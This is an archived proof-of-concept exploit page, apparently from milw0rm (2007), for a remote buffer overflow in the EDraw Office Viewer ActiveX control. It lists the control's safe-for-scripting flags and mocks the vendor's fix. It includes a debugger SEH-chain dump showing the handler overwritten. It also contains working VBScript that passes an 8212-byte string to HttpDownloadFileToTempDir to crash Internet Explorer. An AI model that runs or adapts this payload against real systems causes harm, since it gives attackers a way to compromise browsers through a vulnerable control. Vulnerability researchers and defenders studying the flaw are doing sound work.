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61 lines
2.2 KiB
HTML
Executable file
61 lines
2.2 KiB
HTML
Executable file
<pre>
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<code><span style="font: 10pt Courier New;"><span class="general1-symbol">--------------------------------------------------------------------------------------------------------------
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<b>0-day EDraw Office Viewer Component 5.2 (officeviewer.ocx v. 5.2.218.1) "HttpDownloadFileToTempDir()"
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Remote Buffer Overflow</b>
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url: http://www.ocxt.com/officeviewer.php
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author: shinnai
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mail: shinnai[at]autistici[dot]org
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site: http://shinnai.altervista.org
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This was written for educational purpose. Use it at your own risk.
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Author will be not be responsible for any damage.
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Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
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all software that use this ocx are vulnerable to this exploits.
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<b>This ActiveX is marked as:
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RegKey Safe for Script: True
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RegKey Safe for Init: True
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Implements IObjectSafety: True
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IDisp Safe: Safe for untrusted: caller, data
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IPStorage Safe: Safe for untrusted: caller, data
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KillBitSet: False</b>
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Even this time, shinnai is not credited for bug finding but they wrote:
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"3. Changes the Insecure Method .void HttpDownloadFile(WebUrl, LocalFile, WebUsername, WebPassword).
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to .BSTR HttpDownloadFileToTempDir(WebUrl, WebUsername, VARIANT WebPassword);
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Now the component can only download the file to .Internet temporary file directory\OA\..
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<b>So anybody can.t use the method to download a file then conver a good system file.</b>"
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mmm... sure but, guys, take a look to SEH chain and you'll find this:
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<b>SEH chain of thread 000011A0, item 0
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Address=0172F284
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SE handler=iexplore.00410041
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SEH chain of thread 000011A0, item 1
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Address=00410041
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SE handler=00844E79</b>
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do you know what I mean ;)
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P.S.
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encrease the number of buffer to see everything freezed
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--------------------------------------------------------------------------------------------------------------
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<object classid='clsid:6BA21C22-53A5-463F-BBE8-5CF7FFA0132B' id='test'></object>
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<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">
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<script language='vbscript'>
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Sub tryMe
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buff = String(8212,"A")
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test.HttpDownloadFileToTempDir buff,"defaultV","defaultV"
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End Sub
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</script>
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</span>
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</code></pre>
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# milw0rm.com [2007-09-07]
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